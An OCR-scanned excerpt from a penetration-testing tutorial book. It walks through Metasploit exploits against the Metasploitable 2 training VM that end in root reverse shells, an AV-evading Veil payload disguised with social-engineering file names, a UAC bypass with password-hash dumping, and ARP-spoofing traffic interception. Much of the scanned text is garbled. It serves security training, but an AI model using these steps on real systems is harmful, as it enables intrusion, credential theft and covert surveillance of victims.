2. Obtain an API key - http://www.shodanhg.com/api_doc

(98]

Start Postgesql (Type, “service postgresql start” in a terminal).

e

Start the Metasploit Service (“service metasploit start”™).
Start Metasploit (“msfconsole’”) or use Top Ten Menu.

5
6. Type, “use auxiliary/gather/shodan_search’:

[ > use auxiliary/gather/shodan_search
mst aux v ) l

plif= s

se auxlliary/gather/shodar
msf auxiliary|

Module options (auxiliary/gather/shodan_search):

MName Current Setting Required

www . shodant 1Q . Ccom

8. Type “set Shodan_APiKey <API Key Number>" and fill in your API Key Number.

9. Now set the Query field with the keyword you want to search for:


http://www.shodanhq.com/api_doc

msf auxiliary( ) = set QUERY iomega

QUERY == iomega
mstT auxiliary(

10. Now just type, “run’.

11. After a few seconds, you will receive some statistics on your search keyword:
msf auxilia ry |:
tal: 4 } on 857 ) 1

Count ry

Un

Leauwa rden Metherlands

Hun ro Argantina

Buenos Aires Argentina

If you want to use filter keywords, or get more than one page of responses, you will have to purchase
an unlocked API key.

Conclusion

In this section we learned about the computer search engine Shodan. We learned that there are
thousands if not millions of unsecured or under secured systems that can be found quickly and easily
on Shodan.

We then learned how to search Shodan using keywords and filters, and finally we learned how to
search Shodan from within Kali using Metasploit.

It is critical that companies know what systems that they have publicly available on the web. The
larger the company is, the more common it is that they have systems hanging out there that are



outdated, open or inadequately secured.
Shodan is a quick and easy way to find these devices.

I highly recommend security teams (and even small business and home owners) scan their systems to
see what systems they have publicly available on the web.



Part 3 - Attacking Hosts




Chapter 7 — Metasploitable Tutorial - Part One

Resources
® http://www.offensive-security.com/metasploit-unleashed/Metasploitable

® http://sourceforge.net/projects/metasploitable/files/Metasploitable2/
® https://community.rapid7.com/docs/DOC-1875
® https://community.rapid7.com/message/4137#4137

Introduction
We have covered a lot of basic intro, recon and mapping; now let * s look at attacking hosts.

Metasploitable 2 is a purposefully vulnerable Linux distribution. What this means is that it has known
bugs and vulnerabilities built in on purpose. It is a training platform made to be used with Metasploit
to practice and hone your computer security skills in a legal environment.

Many think that Linux or Mac OS are much more secure than Windows. But like Windows, if you
don’t install system patches and updates, they are equally vulnerable.

The resources above cover a lot of information on installing and using Metasploitable 2 so I will not
spend a lot of time on this topic.

But we will go through a couple of the exploits using Kali just to see how things work.

Installing and Using M etasploitable
Metasploitable 2 is available as a Virtual Ware VM. Just download the file, unzip it and open it with
VMWare Player. It’s that simple.

If you are using Virtual Box, Rapid 7 hosts a video showing the full install of Metasploitable on
Virtual Box. A link to the video can found in the Resources section above.

*Warning* — Never run Metasploitable on a public facing system, it is, by design, vulnerable!

Once Metasploitable boots up you will come to the main login screen:

P F i 15 i i B . [ ' [ »
__1 B T R R A I _ b s
[

i_) 0o

T T
F oo 0 own L_o a1 1_) 1 &
] ] [} ] ] [}

Harning : Hever expose this UH to an wuntrusted network?
Contact: nmsfdeviatlmetasploit.comn

Login with msfadmin/nsfadnin to get =started

netasp loitable 1 og in: -



http://www.offensive-security.com/metasploit-unleashed/Metasploitable
http://sourceforge.net/projects/metasploitable/files/Metasploitable2/
https://community.rapid7.com/docs/DOC-1875
https://community.rapid7.com/message/4137#4137

To login, enter the name and password shown on the menu:
msfadmin/ msfadmin

You wouldn’t believe how many budding security professionals have asked for the default login
credentials for Metasploitable. And they put it right on the login screen!

Logging in is pretty anti-climactic. You basically just end up at a text based terminal prompt:

msfadmin@metasploitable:™5 _

But we are not here to use the system from the keyboard; the goal is to try to get into the system
remotely from our Kali system.

Scanning for Targets

One of the first steps that many security testers use is to do an “ nmap ” scan to try to determine what
ports are open and hopefully even what services are installed on those ports. If we can determine
open ports and service program versions, then we may be able to exploit a vulnerability in the
service and compromise the machine.

Let’s take a look at Metasploitable from our Kali box.

The first thing to do 1s to run an nmap scan and see what services are installed.
® Open a Terminal window on your Kali system and type:
nmap -sS -Pn <metasploitable’s IP address>

Put in the IP address for your Metasploitable machine, which in our case i1s 192.168.198.145. If you
didn’t know what IP address your Metasploitable is at, you could always scan a range of addresses
by typing something like, “nmap -sS -Pn 192.168.198.1-150”

The “-58” switch tells nmap to perform a stealth scan. The “-Pn” tells nmap not to run a ping scan to
see what systems are up.

This will show us the open ports and try to enumerate what services are running;



t 2013-10-23 15:02 EDT

7:64:4E (VMware)

y done: 1 IP address (1 host up) scanned in 0.14 seconds

That’s a lot of open ports!

Okay we definitely have a lot of possible openings; let’s see if we can find out what services are
running on them. Let’s try the nmap command again, but this time add the “-4” switch, which will
perform OS detection and try to determine service versions:

nmap -sS -Pn -A 192.168.198.145

Nmap will churn for a while as it tries to detect the actual services running on these ports. In a few
minutes you will see a screen that looks like this:



230)
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PIPELINING, SIZE 1824

om local time.

B ({(Ubuntu
_http-me ~ Public header in OPTIONS
_http-title: el - Linux

For each port, we see the port number, service type and even an attempt at the service software
version.

We see several of the normal ports are open in the image above. There are also a lot of services
running at higher ports; one in particular is an Unreal Internet Relay Chat (IRC) program:

Unreal ircd

CD.FFFABD4S.IP

Usually in tutorials they cover going after the main port services first. But I recommend looking at
services sitting at higher ports. What is more likely to be patched and up to date, common core
services or a secondary service that was installed and one time and possibly forgotten about?

So let’s see what we can find out about this Unreal IRC service.

In the picture above we can see the software version, in this case “Unreal IRC 3.2.8.1". Our next step
i1s to do a search for vulnerabilities for that software release. Just searching for “unreal3.2.8.1
exploits” in Google should do the trick.

But why use Google when we can search with Metasploit?

Exploiting the Unreal IRC Service
Let’s go ahead and run Metasploit:

root@kali:~# msfconsole

Now just use the search command and paste in the service name and program version:



olt/unix/irc/unreal ircd 3281 backdoor 2610-86-12
Backdoor Command Execution

An Unreal 3.2.8.1 backdoor with a reliability rate of “excellent”!
This is great news, as the exploits are ranked according to the probability of success and stability.

If you remember from our introduction to Metasploit, there are several steps to exploiting a
vulnerability:

® Picking an Exploit

® Setting Exploit Options

® Picking a Payload

® Setting Payload Options

® Running the Exploit

® (Connecting to the Remote System

Let’s step through the process.
PICKING AN EXPLOIT

If we use the “info” command we can find out a little bit more about our possible exploit.

msf = info exploit/unix/irc/unreal ircd 3281 backdoor

Doing so we find the following:

This module exploits a malicious backdoor that was added
to the Unreal IRCD 3.2.8.1 download archive. This
backdoor was present in the Unreal3.2.8.1.tar.gz archive
between November 2009 and June 12th 2010.

Unbelievably a backdoor was added to the download archive, which is... Well, “unreal”!

So, let’s “use exploit/unix/irc/unreal_ircd 3281 backdoor” and check the options:



Module options (exploit/unix/irc/unreal ircd 3281 bac

Name  Current Setting Required Description

RHOST
RPORT BEB&7

SETTING EXPLOIT OPTIONS

As you can see there are not a lot of options that need to be set. All that is needed is the remote host
address:

set RHOST 192.168.198.145(Metasploitable IP address )
PICKING A PAYLOAD

Now we need to pick a payload. Just type “show payloads” to display all payloads that are
compatible with the exploit:

Disclosure Date Rank Description
H;;éa[ 1x Cﬁmﬂ&éﬂ She
normal Jnix Command She
o rmal
normal

rormal

narmal

rnormal Unix Command

rnormal  Unix Command She

rnormal  Unix Command She

normal  Unix Command She

normal Unix Command She

Unfortunately they are all command shells. A Meterpreter shell would be better than a command
shell, and give us more options, but for now we will just use the generic reverse shell. This will drop
us right into a terminal shell with the target when the exploit is finished.

Now, just type:

o set payload cmd/unix/reverse
And then:



o show options

d cmd/unix/ reverse
] = show options

options {exploit/unix/irc/unreal ircd

Current Setting Required Description

B.145

SETTING PAYLOAD OPTIONS

For this payload all we need to do is set the LHOST command (the IP of our Kali Metasploit system)
and then do a final “show options” to make sure everything is set okay:

Module options

MName Curr

lLoad options {cmd/unix/reversea).:

Name  Currant Setting Regquired

68.19B8.146

Our RHOST (target) and LHOST (Kali system) values are correctly set.

We are golden, now just type “exploit ”:



stname; using

1 opened (152.168.198.146:4444 -= 19¢.168.158.145:43

Notice it says that a session is opened, but then it just gives you a blinking cursor.

You are actually sitting in a terminal shell with the target machine!

As you can see above, I typed “whoami” and the target system responded with “roor”. The Root user
is the highest level user that you can be on a Linux machine.

It worked!
All the standard Linux commands work with our shell that we have.

For instance we can display the password file:



We would have to crack the password file to get the actual passwords; we will take a look at this in
the Password Attacks Chapter.

Conclusion

In this chapter we learned how to use nmap to find open ports on a test target system. We also learned
how to find out what services are running on those ports. We then found out how to find and use an
exploit against a vulnerable service.

Next we will take a quick look at some of the scanners built into Metasploit that helps us find and
exploit specific services.

Chapter 8 — Metasploitable - Part Two: Scanners

Introduction
In the last chapter we looked at scanning the system with Nmap to look for open ports and services.
This time we will take a look at some of the built in auxiliary scanners that come with Metasploit.

Running our nmap scan produced a huge amount of open ports for us to pick and choose from. What
many people don’t know is that Metasploit comes with a substantial amount of built in scanners.
These scanners let us search and recover service information from a single computer or an entire
network!

So let’s get started!



For this tutorial we again will be using our Kali system as the testing platform and the purposefully
vulnerable Metasploitable 2 virtual machine as our target system.

Using a Scanner
To find what scanners are available simply run “msfconsole” from a Kali command prompt. After
Metasploit starts, type “search scanner” at the prompt:

msf > search scanner
msf = search scann

Matching

auxiliary/

auxiliary/

auxiliary/

normal

xiliary/gather/enum_dns

normal ONS Recore
auxiliary/gather/natpmp ext

normal
auxiliary/pro/nex

ose Scanner Integration

auxiliary/pro/webst
Read down through the massive list to see what is available.

For this tutorial we will narrow our attention on the common ports that we found open. As a refresher
here are the results from the nmap scan performed in the last chapter:
STATE SERVICE

open ftp

open ssh

open telnet
open smtp
open domain
open http

Let’s focus on Port 22, which is Secure Shell (ssh).

Go ahead and search Metasploit for ssh scanners:



= Sgarch scannersssh

Matching Modules

Name Jisclosure Date Rank Cescript

ssh_ldentify_ pubkeys
anrie

zsh_loglin

/ssh_login_pubkey

Notice that several are available. We are just looking for version information for now, so we will use
the “auxiliary/scanner/ssh/ssh_version” module.

1. Type, “use auxiliary/scanner/ssh/ssh_version”

2. Then “show options” to see what options you can use.

3. Inthis case all we have to do is “set RHOSTS <IP>" or remote host, which is our target.
4

Then just type “exploit” to run.

([auxiliary/scanner/ssh/ss

Current Setting Regquired

arget address range or CIDR identifi

Debian-B8ubuntu

We see that our target is indeed running an SSH server and we see the software version:
“SSH-2.0-OpenSSH 4.7pl Debian-8ubuntu”™
We could now use this information to search for an exploit.

Notice the command we set for the remote host is plural, RHOSTS, we can put in a whole range of
systems here enabling us to scan an entire network quickly and easily to find ssh servers.

Now that we have the version number for SSH, we could try to find an exploit for it, or we could use
another auxiliary module, “auxiliary/scanner/ssh/ssh_login”, to try to brute force passwords using
dictionary files. I will leave this exercise up to you.



Using Additional Scanners
Some scanners return different information than others.

For example if we use the MySQL scan we get this:

cription

The target address range or
The target port

The number of concurrent thr

| > set RHOSTS 192.168.198

5.0.51la-3ubuntub (protoco

The scan reveals that MySQL 5.0.51.a is running.
But others can reveal some more interesting information. For instance, let’s look at Telnet.
TELNET

The Telnet version scanner can function in a couple different ways. If we use a username and
password, it will try to log in to the service. If we don’t it will just do a banner grab.

Notice that this is unlike the others we have covered so far; on the Metasploitable machine it does not
return a version number, it performs a banner grab.

But sometimes you can find some very interesting information by using it.

Let’s set the scanner up:



VM to an untru
in with msfadmir

Just looks like a bunch of text with no hint as to what level of software is running. But if we look
closer, we can see something else:

ogin with msfadmin/msfadmin to g

“Login with msfadmin/msfadmin to get started’, looks like they are giving away the login
credentials on the Telnet page!

Are you kidding me?

Let’s try it and see if it works:

ZHL Apr 18 13:58:68 UTC ;

software;

“ibed in the

with ABSOLUTELY NO WARRANTY, to the Nt permitted by

Ubuntu documentation, please wisit:
om/

[‘ ]':' G L .
msfadmin@metasploitable:~%

And we are in!



If we run the ID command, we can see that this user (which is the main user) i1s a member of multiple
groups:

in :I group < ] . 28({dialout j' r 24(c

se) ,111{1padnin),11

We might be able to use this information to exploit further services.

Sounds kind of unbelievable that a company would include legit login credentials on a service login
page, but believe it or not, it happens in real life more than you would believe.

Scanning a Range of Addresses
What is interesting too is that with these scanner programs we have different options that we can set.
For instance, let’s run the SMB scanner:

Okay, we set the RHOSTS setting to 192.168.198.145 and it scanned it and returns the version of
Samba that is running on it.

But what if we wanted to scan the entire network for systems that are running Samba?

This is where the beauty of the RHOSTS command comes into play. Instead of just scanning a single
host, you can scan all 256 clients on the 192.168.198.0 network.

We use the same exact command, but modify the RHOSTS command like so:



) = set THREADS 255

Service Pack (Build 1)

3 3.8.20-Debian (language: Unknown)

Notice now it scanned all 256 hosts on the network and found the Samba running on our
Metasploitable 2 machine at 192.168.198.145.

This makes things much easier if you are just scanning for certain services running on a network. I set
the threads command too. This comes set to “1” as default. If you are scanning a local LAN, you can
bump this up to 255 to make it go faster, or up to 50 if testing a remote network.

Exploiting the Samba Service
While we are here, let’s look at exploiting the Samba (SMB) service. This will give us a little more
practice in running exploits and get us used to finding and exploiting vulnerable services.

We know from the scanner that we just ran that the SMB service version is Unix Samba 3.0.20. Let’s
do a quick Google search to see what we can find:

samba 3.0.20 exploit “

CWVE-2007-2447 Samba "usemame map scrnpt” Command ... - Rapid?

ww rapid? com/db/modules/exploitmulti'samba/usermap_script -
Samba "usemame map script™ Command Execution. This module exploits a command
execution wulerabilty in Samba versions 3.0.20 through 2.0.25rc3 when ...

The first return is a “username map script” issue.
Let’s try that and see what we get.

Go ahead and search for samba/usermap:



msf> search samba/usermap

Disclosure Date

sermap_script 2007-05-14

From the image above we see that the Rank is “excellent”.
Let’s use the “info” command on it and see what it says:

msf> info exploit/multi/samba/usermap_script

Looks like the exploit just needs the RHOST option set.

We don’t need to set a payload, as it automatically uses a Linux command shell. So, all we need to do
is just use the exploit, set the RHOST value to our target Metasploitable system and run the exploit:



axp ( ) > set RHOST 192.168.198.145
RHOST == 192.168.198.145

msf exploit( ) = exploit

Started reverse double handler

Accepted the fi client connection...
Accepted the second client connection...
Command: echo OVEoTLhuMLsKylTS;

Writing to soc

Writing to s

Reading from

B:

Matching...

A is input...

Command shell session 1 opened (192.168.198.146:4444

2:12:37 -0406

whoami

roo T

id

uid=@(root) qid=0(root)

And as you can see in the image above, the exploit worked, we are the super user “root”, verified
with the “id”” command which returns “uid=0(root) gid=0(root)”.

Conclusion

In this section we learned how to use some of the built in scanners to quickly scan for specific
services. Some professional pentesters no longer rely on nmap as the main tool in finding services.
Many go for a quick kill by looking for specific vulnerabilities commonly available before turning to
nmap. And some don’t use nmap at all.

Scanning for specific services that have a tendency to be vulnerable can be a quick way into a
network. We looked at several of the core service scanners and learned how they function.

Shockingly, we were able to obtain clear text passwords from the telnet service.

Once we get a set of credentials, we could use the auxiliary scanners in Metasploit to further exploit
the network. Just plug those credentials into one of the scanners and sweep the entire network to see
what other systems that they would work on.

We only touched on a fraction of the scanners, there are many that we didn’t cover. It would be a
good idea for you to take some time and look through them to see what they can do.



Chapter 9 — Windows AV Bypass with Veil

Resources
® https://www.veil-evasion.com/powershell-payloads/

Introduction
We took a quick look at attacking a Linux host; now let > s look at one of attacking a Windows host.

Many people think that if they are running an Anti-Virus and a firewall, that they are generally safe
from hacker attacks. But the truth is far from that. Meet “Veil” a remote shell payload generator that
can bypass many current Anti-Virus programs.

One part of penetration testing is getting past that pesky anti-virus. Veil is one way that we can
accomplish this.

Many Anti-Virus programs work by pattern or signature matching. If a program looks like malware
that it has been programed to look for, it catches it. If the malicious file has a signature that AV has
not seen before, many will dutifully say that the file is clean and not a threat.

If you can change or mask the signature of malware, or a remote shell in this case, then most likely
AV will allow it to run and the attacker gets a remote connection to the system.

Veil, a new payload generator created by security expert and Blackhat USA class instructor Chris
Truncer, does just that. It takes a standard Metasploit payload and through a Metasploit like program
allows you to create multiple payloads that most likely will bypass anti-virus.

Installing Veil
Veil was recently added to Kali, if typing “veil” at a terminal prompt does not start it, it may not be
installed yet.

1. To install just type, “apt-get update & & apt-get install veil”:

:/usr/share# apt-get update && apt-get install veil

2. Then to run the program just type, “veil’:

And this will bring you to the main menu:



Main Menu

18 payloads loaded

Available commands:

d

Using Veil
The first thing to do is to list the available payloads using the “lis”” command:

Available payloads:

Normal
” orm !:J-i.

dvVirtual Al

e
e rSUbVirtualAlloc
n/MeterHTTRPContained
ntained
L0C Normal
idPointer Mo rmal
/bBdVirtualAlloc Excellent

The payloads are rated, and since we will be talking a little bit about PowerShell attacks (in the
Social Engineering chapter) let’s use a power shell payload.

Just use the “use” command and the number of the payload. In this tutorial we will use the
“powershell/Virtual Alloc” payload:

1. Type, “use 9.

This will select the payload and present us with the following screen:



yad: powershell/VirtualAlloc loaded
2 commands:

[>] Please enter a command: [

2. We will just use the default values, so just type, “generate”.

Then you can choose to use Metasploit’s standard msvenom shellcode or choose your own. We will
just choose the default, msfvenom.

3. Type “I” and enter:

[?] Use msfvenom or supply custom shellcode?

se enter the number of your choice: 1

Next choose the type of shell; we will just use the default which is reverse TCP. This means that
their computer will connect back to us.

4. Just press “enter” to accept default shell payload:

 [enter] for windows/meterpreter/reverse tcp
. [tab] to list available payloads

5. Next Veil will ask for the IP address of the host machine that you are using. Enter the IP
address of your Kali machine and press enter.

[>] Enter value for 'LHOST', [tab]

6. Then enter the Local port that you will be using. I chose to use port 4000:

[=] Enter value for 'LPORT': 4000

7. You will then be asked to enter any MSVenom options that you want to use, we won’t be
using any, so just press “enter” to bypass them.

And that 1s 1t! Veil will then generate our shellcode with the options that we chose.

8. Now we need to give our created file a name. I chose “CutePuppy”



[>] Please enter the base name for cutput files: CutePuppy

Okay, “Cutepuppy” sounds a little odd, but remember, you want the target to open the file that you are
sending them, so a bit of Social Engineering is required.

If you know they like cute puppies, then our chosen file name is perfect. But you could also name it
“2013 Business Report”, or “New Job Requirements”. Whatever you think would be the best.

Veil now has all that it needs and creates our booby-trapped file.
powershell
VirtualAlloc
Source File: fusr/share/vell foutput/source tePuppy .bat

[*] Your payload files have been generated, don't get caught!

[>] press any key to return to the main menu: I

Our file will be stored in the “/usr/share/veil/output/source/” directory.

Just take the created .bat file and send it to our target. When it is run, it will try to connect out to our
machine.

We will now need to start a handler listener to accept the connection.

Getting a Remote Shell
To create the remote handler, we will be using Metasploit.

1. Start the Metasploit Framework from the menu or terminal (mfsconsole).

2. Now set up the multi/handler using the following screen:

s/meterpreter/reverse tcp

Be sure to put in the IP address for your machine and the port that you entered into Veil. They must
match exactly.

Metasploit will then start the handler and wait for a connection:

Started reverse handler on 1592.168.198.137:4Q000

Starting the payload handler...

Now we just need the victim to run the file that we sent them.



]

Recycle Bin

se handler on 192.168.198.137:4000

A reverse shell session!

Then if we type “shell”, we see that we do in fact have a complete remote shell:

oft Win [Version 6.]1.7601]

Copyright (c) Microsoft Corporation. All rights reserved.

C:\Users\Fred\Desktop=}]

Conclusion

This should help prove that you cannot trust in your Firewall and Anti-Virus alone to protect you from
online threats. Unfortunately many times your network security depends on your users and what they
allow to run.

Instruct your users to never run any programs or open any files that they get in an unsolicited e-mail.
Blocking certain file types from entering or leaving your network is also a good idea.

And finally, using a Network Security Monitoring system will help track down what happened and
what was compromised if the worst does happen.

Chapter 10 — Windows Privilege Escalation by



Bypassing UAC

Introduction

The user Administrator in Windows has a lot of authority, but there are some things that even an
Administrator cannot do. The user ““ Root ” in Linux is the super “god” level user, and in Windows
the user “System” is the super user account.

User Access Control (UAC) seemed to be a nuisance in the previous Windows version, and many
companies just turned it off. Well UAC works very well in Windows 7, and using it on even the
lowest security setting prevents many attacks that worked in Windows XP.

Even if we get a remote “administrator” level session in Metasploit, UAC will prevent us from doing
some things, like obtaining password hashes. But there is a UAC bypass module in Meterpreter that
will allow us to bypass this restriction and get system level, if the user account we compromise is an
administrator.

In this section we will learn how to escalate our privileges from an administrator level user to system
level by bypassing UAC and creating a new session.

UAC Bypass
In this tutorial we will start with an active Meterpreter session with a Windows 7 system and a user
that has administrator level rights.

1. First we want to background the session. Then if we run the “sessions” command we see that
the only open Meterpreter session is session 1:

) = use exploit/windows/local/bypassuac

3. Type “show options” to see what options we need to provide:



y run this module on.

Exploit target:

Id MName

B Windows

4. The only option we need to set is the “set session” option. Go ahead and set it to our active
session, session one in this case, by using the set command:

msf e

msf exploit( 1 = exploit

[* - on 192.168.198.134:4444

[+
[+
E
[
|

I
|
|
]
I
I
|
I
I
I
I

Excellent, you can see that the user was in fact a member of the administrators group, the UAC
Bypass worked, and a new session is created.

Now if we try “getuid” again, we see it still says it is user Fred. But if we run “getsystem” it works!
OANLOTDQLUNF red

m
hnigque 1).

Now if we type “getuid’” it verifies that we indeed have System level, or as far as Windows is
concerned, “god level rights”.

getuid
name: NT AUTHORITYNW!

Now, if we want we can dump the system password hashes with the “run



post/windows/gather/hashdump” command:

meterpreter = run post/windows/gather/hashdump

*] Obtaining the boot Key...

SYSKEY baBfar4a35101557f211c6b3l7blab8a. ..

The first part of the hashdump display above shows the three regular system users: Alice, Bob and
George and displays their logon password hint that they set when they created their password.

And the final part shows the actual hashes from the system:

Using the hashes to access a system or other systems on the network is covered in the Password
Attack Chapter.

Conclusion

In this short section we saw how to escalate a user that has Administrator privileges to the super user
System level account. We were able to do this by running a Meterpreter module that allowed us to
bypass the windows User Access Control security feature.

Once we have system level access we can do anything that we want to do. We demonstrated this by
dumping the password hashes from the security database.

The UAC bypass was possible because the user account we had access to was an administrator level
account. It is imperative that users always be given a non-administrator level account. The security
repercussions to exceptions to this rule should be seriously considered.



Chapter 11 - Packet Captures and Man-in-the-
Middle Attacks

Introduction

Another technique that may be advantageous to us is to monitor or capture network traffic on a remote
machine.

Think of it like a wiretap. As a wiretap records everything a person says on their telephone, a packet
capture records everything your computer says on the network wire. This could include account
names, passwords, etc.

In this section we will look at viewing network packets using two very different processes.

For the first one we will use a Man-in-the-Middle attack on a system on a local network involving the
commands arpspoof, urlsniff and Driftnet. Using these commands we can view what website a target
is on and display every graphic that the target is viewing.

Secondly, we will cover running a packet capture on a remote machine through a Metasploit session.
We will then view the captured information for artifacts in Wireshark and Xplico.

In both cases we will use a Windows 7 computer as the target system.

Creating a Man-in-the-Middle attack with Arpspoof
We will now learn how to use a Man-in-the-Middle (MitM) attack to capture and monitor network
traffic.

A MitM attack in essence places our Kali system in between the target and the router. This way, we
see all of the traffic coming from and going to the target system.

All traffic from the target system headed to the internet is re-routed first to our machine, which then
captures it and forwards is to the network. All information coming from the internet headed to the
target machine is routed through our system first, again so we can review it, and then forwarded to the
target system.

We accomplish this by modifying the ARP (Address Resolution Protocol) tables on the router and the
target system. The ARP tables tell a system what physical MAC address an IP address is actually
located at. So we tell the Target machine that we are the internet router and tell the router that we are
the target system.

1. We can modify ARP tables easily with the “arpspoof” program. But first we need to turn on
[P forwarding by running the following command:



root@Kali:~# echo 1> /proc/sys/net/ipvd/ip_forward

2. Now we need to run the arpspoof command. To do so, we need to provide the network
interface (-1), the target system (-t) and the router address as below:

root(Kali:~# arpspoof -i eth0 -t 192.168.198.132 192.168.198.2

(You may or may not have to re-run the command reversing the IP addresses to setup the reverse
connection. Reversing did not seem to work on a VMWare host, but I was able to capture all the
traffic by just using the one way command above)

Arpspoof should then start sending out the modified MAC addresses.

Now let’s see what we can capture from the target system.

Viewing URL information with Urlsnarf
Let’s first look for URL addresses that the target is surfing for.

3. Simply type, “urlsnarf -i eth0:

. 168.198.132 -
1 = 1 1 ru1 |:::|Ei-|_ 'I- E'J_,- 5
168.198.132 - ¢
HTTP/1.1" - 0zi1lla/s5.0 (Window

This allows us to see all the website addresses that the user visits on our Kali system!

Viewing Captured Graphics with Driftnet
The text is interesting, but you can see the images from visited URLs also. To do so, just
use ““ Driftnet ™ .

4. Simply type the command “driftnet” with the interface (-1) you want, like this:

=# driftnet -i eth®

A driftnet window should open up on your Kali website. Maximize it to make things easier to see.
5. Now return to the target computer system and start surfing the web.

You should start to see images appearing on your Kali system. For example, if the target system went



to the Kali Linux Blog page, images from the website should begin displaying.

So, on the target system they would see these images:

Kali Linux 1.0.5 and
Software Defined Radio

——
Li LIN

Kall Linux on Android
ALt using Linux Deploy
l‘lllilH

Tracking and Fixing an
Installer Bug

UT

And on your remote Kali machine you should see this:

A D

ix 1.0.5 Fed WINSTALL

dl R

redeyal vmrey -

All the images from the page!

Remote Packet Capture in Metasploit
Okay that was all well and good if we are on the same local network as the target system, but what if
the target system is remote?

If we can get a Meterpreter shell through an exploit, we can record the target system’s network traffic
remotely.

We will start with an active session that we obtained through an exploit. As you can see below we
are connected to session 1 and have a Meterpreter shell to the target, a Windows 7 system in this
case.




1. At the Meterpreter prompt simply type, “run packetrecorder” to see the options as seen
below:

Met Script =la packets in to a PCAP file
om a target host given a intertace 1D,

OPTIONS:

o will be done.

2. The first thing we will do is run “packetrecorder” with the “-li”” option to list the interfaces
on the remote system.

When things go bad:

As you will learn, offensive computer security testing doesn’t
always work like it is supposed to. Sometimes you will be
stopped by a security device, and sometimes the exploit just
won’t work for some reason.

Case in point, when trying to run packetrecorder -li on one

Windows 7 system I got the error below:
P

denied (UAC enabled?)

Y |

C enabled?)”

Running the UAC bypass in Metasploit did not work for some
reason. I had to go to the Windows 7 system and manually
disable UAC to get this to work right.

As mentioned before, unlike in prior versions of Windows
where UAC really didn’t seem to do anything, and many
disabled it, it really does help secure Windows 7 and should
always be on.

Even if it is set to the lowest level, it is still better than being
completely off!

Running the command, we see that the remote target (in this case) has 5 network interfaces:



meterpreter > run packetrecarder

1 - '"WAN Miniport (MNetwork Monitor)' [ type:3 mtu:l514 usable:true dhep:false wi

fg/n WiFi Adapter” [ type:0 mtu:l1514 usable:

We will go ahead and run the attack against interface 2, the Qualcomm WiFi adapter. We will also
use the “-1” switch to tell packetrecorder where to store the captured log file.

3. So the command would be, “run packetrecorder -i 2 -l /root/Desktop”

cketracorder -1 2 -1 /root/Desktop

ure on interface 2

4. Now, just go to the Windows 7 target system and do some surfing. Every location you surf to
and every network packet you send will be recorded on the Kali system.

5. Press “Cntrl-C” to exit when you think you have captured enough packets.
And that 1s 1t. All the files captured will be located in a “logs” directory in the location we supplied.
Wireshark

Okay, we have our packet capture, so what do we do with it?

Wireshark is a great packet capture and analyzer program that has a ton of features and capabilities.
We will just cover viewing a packet capture in Wireshark very briefly.

1. To start Wireshark, select it from the “Top Ten Security Tools” menu, or better yet, just run it
from a terminal prompt:

~# wireshark &

2. Click, “OK” at warning messages about running as root.
3. Click, “File” then, “Open” and open our packet capture file.

4. Click on “Protocol” to sort by protocol and then scroll down to find the FTP section:



Destination Protocol  Info

3 laD 207.40 FIP Request: LUSER anonymous

182.168.1.173 FIP Response: 331 Please specify the password.

12.130.207.40 FIP Fequast: PASS mozilla@example.com

182.168.1.173 FIP Response: 230 Login successful.

12.130.207.40 FTP Pequest: SYST

192.168.1.172 FIP Response: 215 UNIX Type: LB

12.1320.207.490 FTP Request: PWD

182.1688.1.173 FTF Response: 257 "/°

12.130.207.42 FIP Request: TYPE I

182.168.1.173 FIP Response: 200 Switching to Binary moda.

12.120.207.40 FTP Request: PASY

182.188.1.173 FIP Response: 227 Entering Passive Mode (12,130, 207,40,243,35),
12.130.207.40 FTP Requaest: SIZE /fGateway/dir6l5_revC/Manual /dir6l5_revC _manual_200. pdf

If the user connected to any unencrypted FTP sessions, like is shown above, you will be able to see
the entire session.

To view the entire session in plain text, right click on the source IP and click “ Follow TCP Stream”
And you will see the stream content as shown below:

Follow TCP Stream

Stream Content

220 (vsFTRd 2.2.2)
LISER anonymous
331 Please specify the password.
PASS mozilla@example.com
230 Login successful.
SYST
215 UNIX Type: L8
PWD
7 "
TYFE 1
200 Switching to Binary mode.
PASVY
297 Entering Passive Mode (12,130,207,40,243,35).
SIZE /Gateway/dirB15 revC/Manual/dirB15_revC _manual_ 300.pdf
213 12251482
MOTM /Gateway/dirE15 revC/Manual/dir815S_revC_manual_300.pdf
213 20080828212643
RETR /Gateway/dir6l5_revC/Manual/dir6l5_revC_manual_300.pdf
150 Opening BINARY mode data connectien for /Gateway/dir61S_revC/Manual/
dir6lS_revC manual_300.pdf (12951492 bytes).
226 Transfer complete.

As you can see we have a complete capture of an FTP login and file download.

Wireshark 1s great for analyzing network communications, and you can do a lot with it, but it is a bit
advanced for a new user and might be hard to use until you become familiar with it.

So, let’s look at our packet capture in one last program. The program, Xplico, lists all the information
from the packet capture in an easy to read menu. It also allows us to view any images or documents.

Xplico
Xplico has been added to the Kali repositories, but it may not be installed on your system yet. It is a
web based interface, so to start it you need both the Apache Web Server and Xplico server started.

Under “System Services” in the Kali Menu, you should see both HTTP (Apache) and Xplico listed.

If Xplico is not listed you will need to install it. To install, run the following command:




Now we just need to start the services.

1. Start the Apache web server if it isn’t already running.
Kali>System Services>HTTP>Apache 2 Start

2. Start the Xplico Service under the “System Services” menu:

System Services

4'*
I'T Metasploit

¥
(101 =
H i.lT MySGL >I @m
i ;

'T A oenyas
g UpenVas

T ssH

3
¥ \ wplico start
\ xplico stop

Once Xplico is started, you access it via a web interface.
3. Open the web browser and surf to, “localhost:9876
Xplico ..:Users:., | 5 |
‘ﬁ | localhost

B Most Visitedv  JfjOffensive Security

4. Login with the username & password of “xplico”.

—-Language— c
Please login

Username
xplico
Password

FREEEE

Login

5. Click “New Case”

(4] Mew Case

« Cases

« Mew Case

DATA ACQUISITION

* Uploading PCAP capture file/s Live acquisition
q P

Case name
External reference
Create

6. Now click “Uploading PCAP capture file/s”

7. Give it a Case name and click, “Create”



DATA ACQUISITION
® uUploading PCAP capture file/s O Live acquisition

Case name [Test
External reference
Create

8. Under Case, click, “New Session’:

9. Give the session a name then click, “Create”:

Mew listening session

Session name  \Windows 7 Target
Create

10. Now click on the session name.
11. The Main Session desktop appears

12. Under the “Pcap set” menu section, browse for and upload your pcap file:

PCAP-over-slP TCP port: 30003,
Add new pcap file.

LAPTOP_20131105.1609.cap
Upload

List of all pcap files.

The file will then be uploaded into Xplico and decoded. After a few seconds to minutes (depending
on the size of your Pcap file) you will see the results as below:

Post 25 Mumber 0 Recalved 1]
Get 471 Contents 0 Sent 1]
Video 2 Video 0 Unreaded 0/0
Images 247 Images 0

Users 0 Server 0 DMS res 225
